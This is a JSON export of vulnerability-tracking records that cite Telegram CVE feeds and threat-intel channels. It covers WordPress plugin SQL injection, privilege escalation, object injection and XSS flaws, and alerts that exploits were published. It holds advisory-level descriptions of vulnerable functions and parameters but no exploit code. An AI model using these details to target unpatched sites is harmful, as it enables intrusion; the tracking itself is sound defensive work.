more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-16T08:00:51.000000Z"}, {"uuid": "80ea76bb-d8fb-47b6-9992-94b34b516bc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1657", "type": "seen", "source": "https://t.me/cvedetector/20348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1657 - WordPress uListing Plugin Directory Listing Data Modification and PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1657 \nPublished : March 15, 2025, 3:15 a.m. | 34\u00a0minutes ago \nDescription : The Directory Listings WordPress plugin \u2013 uListing plugin for WordPress is vulnerable to unauthorized modification of data and PHP Object Injection due to a missing capability check on the stm_listing_ajax AJAX action in all versions up to, and including, 2.1.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to update post meta data and inject PHP Objects that may be unserialized. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T05:15:18.000000Z"}, {"uuid": "3f4b3f4b-bec2-4262-8ef3-77c166141973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "seen", "source": "https://t.me/cvedetector/20347", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1653 - uListing WordPress Plugin Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1653 \nPublished : March 15, 2025, 3:15 a.m. | 34\u00a0minutes ago \nDescription : The Directory Listings WordPress plugin \u2013 uListing plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.7. This is due to the stm_listing_profile_edit AJAX action not having enough restriction on the user meta that can be updated. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T05:15:17.000000Z"}, {"uuid": "c651b6da-f49d-4329-9fd5-967403d2a23e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1670", "type": "seen", "source": "https://t.me/cvedetector/20358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1670 - WordPress WPSchoolPress Plugin SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1670 \nPublished : March 15, 2025, 4:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'cid' parameter in all versions up to, and including, 2.2.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T06:55:46.000000Z"}, {"uuid": "62e10d72-37e0-4c92-a1ff-2754eb77c367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1669", "type": "seen", "source": "https://t.me/cvedetector/20357", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1669 - WordPress WPSchoolPress SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1669 \nPublished : March 15, 2025, 4:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'addNotify' action in all versions up to, and including, 2.2.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with teacher-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T06:55:45.000000Z"}, {"uuid": "462cc9dc-8876-4d02-9711-663d7a93c14b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1668", "type": "seen", "source": "https://t.me/cvedetector/20356", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1668 - WordPress WPSchoolPress Plugin User Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1668 \nPublished : March 15, 2025, 4:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to arbitrary user deletion due to a missing capability check on the wpsp_DeleteUser() function in all versions up to, and including, 2.2.16. This makes it possible for authenticated attackers, with teacher-level access and above, to delete arbitrary user accounts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T16:39:40.000000Z"}, {"uuid": "b40c8a31-34b9-42af-9869-4f7f429f4395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1667", "type": "seen", "source": "https://t.me/cvedetector/20355", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1667 - WordPress WPSchoolPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1667 \nPublished : March 15, 2025, 4:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the wpsp_UpdateTeacher() function in all versions up to, and including, 2.2.16. This makes it possible for authenticated attackers, with teacher-level access and above, to update arbitrary user details including email which makes it possible to request a password reset and access arbitrary user accounts, including administrators. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T06:55:43.000000Z"}, {"uuid": "31cc0942-e7c7-409a-bae8-e8a231c323c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1672", "type": "seen", "source": "https://t.me/cvedetector/19693", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1672 - Notibar for WordPress - Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1672 \nPublished : March 6, 2025, 10:15 a.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : The Notibar \u2013 Notification Bar for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T13:50:32.000000Z"}, {"uuid": "6f48e7d7-d359-4f8c-83ae-fd5fa4dd0951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1696", "type": "seen", "source": "https://t.me/cvedetector/19697", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1696 - Docker Desktop HTTP Proxy Log Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-1696 \nPublished : March 6, 2025, 12:15 p.m. | 1\u00a0hour, 52\u00a0minutes ago \nDescription : A vulnerability exists in Docker Desktop prior to version 4.39.0 that could lead to the unintentional disclosure of sensitive information via application logs. In affected versions, proxy configuration data\u2014potentially including sensitive details\u2014was written to log files in clear text whenever an HTTP GET request was made through a proxy. An attacker with read access to these logs could obtain the proxy information and leverage it for further attacks or unauthorized access. Starting with version 4.39.0, Docker Desktop no longer logs the proxy string, thereby mitigating this risk. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T15:30:39.000000Z"}, {"uuid": "379ee8fa-021b-46f5-9d6c-d40d3501c764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1666", "type": "seen", "source": "https://t.me/cvedetector/19696", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1666 - Usercentrics WordPress Cookiebot CMP Unauthenticated Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1666 \nPublished : March 6, 2025, 12:15 p.m. | 1\u00a0hour, 52\u00a0minutes ago \nDescription : The Cookie banner plugin for WordPress \u2013 Cookiebot CMP by Usercentrics plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the send_uninstall_survey() function in all versions up to, and including, 4.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to submit the uninstall survey on behalf of a website. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T15:30:39.000000Z"}, {"uuid": "d6e3d2cd-152c-4e4f-a85a-65229ad1b8e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1639", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/14589", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udcc5 Date: 2025-03-14 03:52:12\n\ud83d\udea8 Title: Alleged disclosure of WordPress Elementor Pro Animation Addon 1.6 Authorization Bypass Exploit\n\ud83d\udee1\ufe0f Victim Country: \n\ud83c\udfed Victim Industry: \n\ud83c\udfe2 Victim Organization: \n\ud83c\udf10 Victim Site: \n\ud83d\udcdc Category: Vulnerability\n\ud83d\udd75\ufe0f\u200d\u2642\ufe0f Threat Actor: Nxploited\n\ud83c\udf0d Network: openweb\n\ud83d\udd17 Claim: https://0day.today/exploit/description/39943\n\ud83d\udcdd Description: The threat actor claims to have disclosed an exploit targeting WordPress Elementor Pro Animation Addon 1.6. The vulnerability, identified as CVE-2025-1639, arises from missing authorization controls, potentially allowing unauthorized users to exploit web applications built with the affected plugin. The risk is categorized as medium.\n\n\u26a0\ufe0f Stay ahead of cyber threats! Subscribe to the Paid Threat Feed at https://t.me/DarkWebInformer_Bot for real-time updates (Website excluded). Want to pay via crypto? Visit https://darkwebinformer.com/crypto-payments.", "creation_timestamp": "2025-03-14T04:52:15.000000Z"}, {"uuid": "2a179e6f-2064-4e34-921a-0d4d67bb6ebb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1682", "type": "seen", "source": "Telegram/KMV7QG7Sth3czv-zDh72PtIrpCn3hVkLljY-Xtzne-xfPuYk", "content": "", "creation_timestamp": "2025-03-02T11:44:21.000000Z"}, {"uuid": "e232c048-d61f-422a-8ce2-de867dd3dd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1664", "type": "seen", "source": "Telegram/SrsstmBLRN03SBsapHOL5xQiHglqqGeY_slS2hoLyTedFhyB", "content": "", "creation_timestamp": "2025-03-08T16:29:02.000000Z"}, {"uuid": "43bfa1cf-443e-4104-8a3b-99474ead9edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1687", "type": "seen", "source": "Telegram/6_7okO1NngkfJQC9f1jWb9Srwt-hW1Jgv3j45-pHpzfyCMt0", "content": "", "creation_timestamp": "2025-03-02T11:44:21.000000Z"}, {"uuid": "c02af00c-ca0c-4da7-bc7a-fea67265107c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1608", "type": "seen", "source": "Telegram/rDwX7PLYcPJ0glq5t-YH10g894P8rQftSXzgNNyAj0xdJ0Li", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "9e588b41-6c60-466c-b1e8-3e1ba8fc9802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1607", "type": "seen", "source": "Telegram/2dTjcQGTm0oFFf2Vbykj6Lup45gTibVw9g4v_BifZkFYqDcb", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "1f638ac4-1a5d-4c09-b9a0-3f1744aff308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1606", "type": "seen", "source": "Telegram/q6HEQqzrrEFTNaV7wPczbVz_SN_JRo2zqgyeYvrpZvP9C2sX", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "37d1fb6e-26b3-4dc8-907a-7d7f5cb8459a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "published-proof-of-concept", "source": "Telegram/yCF7WZfcWyZ_gFovIoZAzXPmTHFRJxtDYTgLS7FkwxiTPY0", "content": "", "creation_timestamp": "2025-03-29T04:00:06.000000Z"}, {"uuid": "85594d0f-d22e-4013-acd9-819c512be49c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "published-proof-of-concept", "source": "Telegram/KggYeN27jZ-a4rfgVHT2MGe0BAzOSuPW6YEwI7pxp7JEmks", "content": "", "creation_timestamp": "2025-03-29T08:00:08.000000Z"}, {"uuid": "ec497f00-99cb-4a74-b3d4-2fde2449ba73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "Telegram/02VwLT3-alMBHMrurAdso0o-X_elsf90vyEBHIsSiJpLnKI", "content": "", "creation_timestamp": "2025-03-14T08:00:09.000000Z"}, {"uuid": "c99308d3-532c-423d-9f7d-b381cb05e040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "Telegram/97PLx1I-KnRBjtoXEvaeYS99E3MAw3lS9CRBSggKd71StBs", "content": "", "creation_timestamp": "2025-03-13T22:00:06.000000Z"}, {"uuid": "48b9750f-2cb2-4249-aecb-877ff9acb362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1639", "type": "published-proof-of-concept", "source": "Telegram/t4W2qGLDrPTh4ylfVSi32sIJvO37xNh95ZguxDMzeYbNCQs", "content": "", "creation_timestamp": "2025-03-13T16:00:07.000000Z"}, {"uuid": "576a81bb-1b6c-4145-83d0-7e3322623b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1667", "type": "seen", "source": "Telegram/Oupae2YmpPrLcQCrdtQzQh_192daX2yrHFgLjRaCEbCdVUo", "content": "", "creation_timestamp": "2025-03-15T05:00:17.000000Z"}, {"uuid": "7db43b38-4bbd-4623-a69c-f2a940608db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "seen", "source": "Telegram/KrqCsLQ5BQ1PINhjDK3MomCPp_jkQnftLaEgkj5VZWGBt0s", "content": "", "creation_timestamp": "2025-03-15T04:00:45.000000Z"}, {"uuid": "bb252cbf-d012-446e-849f-ac7fff73da1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1657", "type": "seen", "source": "Telegram/KrqCsLQ5BQ1PINhjDK3MomCPp_jkQnftLaEgkj5VZWGBt0s", "content": "", "creation_timestamp": "2025-03-15T04:00:45.000000Z"}, {"uuid": "e26ff36c-21ba-4960-9f72-2c323daafba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1691", "type": "seen", "source": "Telegram/8yOYO6tlUL_8g395Wy_bOOGl_JbQsya4zgpogj5jDmK3igg", "content": "", "creation_timestamp": "2025-02-27T14:30:56.000000Z"}, {"uuid": "5468230c-5fce-4126-8221-57da2d8d53a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1674", "type": "published-proof-of-concept", "source": "Telegram/_yKpLY-2F8rkEOUTUq6LWKwJhxpg13wwviIMmbyTTpOtBuI", "content": "", "creation_timestamp": "2025-02-25T09:01:42.000000Z"}, {"uuid": "59543d27-4817-4688-be0d-a9a38c103dbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1675", "type": "published-proof-of-concept", "source": "Telegram/_yKpLY-2F8rkEOUTUq6LWKwJhxpg13wwviIMmbyTTpOtBuI", "content": "", "creation_timestamp": "2025-02-25T09:01:42.000000Z"}, {"uuid": "aa1f6ab1-59ce-480e-a7f3-6566906cd658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1648", "type": "published-proof-of-concept", "source": "Telegram/_yKpLY-2F8rkEOUTUq6LWKwJhxpg13wwviIMmbyTTpOtBuI", "content": "", "creation_timestamp": "2025-02-25T09:01:42.000000Z"}, {"uuid": "0b6b4ce8-c479-42ae-807b-99ed79dffb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1673", "type": "published-proof-of-concept", "source": "Telegram/_yKpLY-2F8rkEOUTUq6LWKwJhxpg13wwviIMmbyTTpOtBuI", "content": "", "creation_timestamp": "2025-02-25T09:01:42.000000Z"}, {"uuid": "d72c0973-527e-4da7-a506-bf5366b9fdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1671", "type": "seen", "source": "Telegram/nu5zP1RQJMxhaQWBhFSOb3vErKKnFyrM4knJnup4yvdMGEw", "content": "", "creation_timestamp": "2025-03-01T09:00:53.000000Z"}, {"uuid": "8a1da761-dae3-4dd7-a48d-501de9d78ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1683", "type": "seen", "source": "Telegram/MveSXve5_Hx1iuO32dm7mrnWq9NYxtXsFLG2c04SagyG1F4", "content": "", "creation_timestamp": "2025-03-12T17:01:11.000000Z"}, {"uuid": "a6b00d2c-5c5b-4a52-8100-d30f3f688d80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "Telegram/nGCSDP4vCltArA3VXeokA5jE1t269Apyi28mkZBPrFAwc4I", "content": "", "creation_timestamp": "2025-03-11T05:36:15.000000Z"}, {"uuid": "699c4f74-d557-4c52-8f1e-78c3880102b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1638", "type": "seen", "source": "Telegram/nu5zP1RQJMxhaQWBhFSOb3vErKKnFyrM4knJnup4yvdMGEw", "content": "", "creation_timestamp": "2025-03-01T09:00:53.000000Z"}, {"uuid": "a9a3d253-594b-4573-a49c-04e4b4577daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1646", "type": "published-proof-of-concept", "source": "Telegram/cLStns7zsxwyvvp-SaqV5KswQNaeisOlZS-64fy_21AIBfk", "content": "", "creation_timestamp": "2025-02-25T04:00:29.000000Z"}, {"uuid": "34d10da1-6812-4ed0-a150-d097d951e420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "Telegram/aGpY1fOqWGEl8sDTNRTbs1LLlgVwcrYpeWVML0GdpD3aqc8", "content": "", "creation_timestamp": "2025-03-19T04:00:07.000000Z"}, {"uuid": "66f3c59b-5a1f-4d83-9aa6-4b05c486f1e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1640", "type": "published-proof-of-concept", "source": "Telegram/1CImXu8tsf4dMep_L-2nWQhANlvGZC_RZxowG6e9Ap6B7cI", "content": "", "creation_timestamp": "2025-02-25T02:00:37.000000Z"}, {"uuid": "a722507b-64ba-431f-9d08-2f93b94a64e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1641", "type": "published-proof-of-concept", "source": "Telegram/1CImXu8tsf4dMep_L-2nWQhANlvGZC_RZxowG6e9Ap6B7cI", "content": "", "creation_timestamp": "2025-02-25T02:00:37.000000Z"}, {"uuid": "587e9c8f-82d4-4339-b5e4-32a96586d788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1639", "type": "published-proof-of-concept", "source": "Telegram/vguQSoDtfnSSMMh6g3qPKY0JcDG6idXQojUpnqu8LsOOPP8", "content": "", "creation_timestamp": "2025-03-04T05:01:11.000000Z"}, {"uuid": "39a91322-7802-49a2-8282-2c8de221c8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/purp_sec/367", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-27363 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 FreeType. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 \u043f\u043e\u0434\u0433\u043b\u0438\u0444\u043e\u0432 \u0432 TrueType GX \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0448\u0440\u0438\u0444\u0442\u0430\u0445, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd35CVE-2025-26865 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Apache OFBiz \u0434\u043b\u044f e-commerce, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\n\ud83d\udd35CVE-2025-1661 \u2014 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 HUSKY \u0434\u043b\u044f Wordpress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 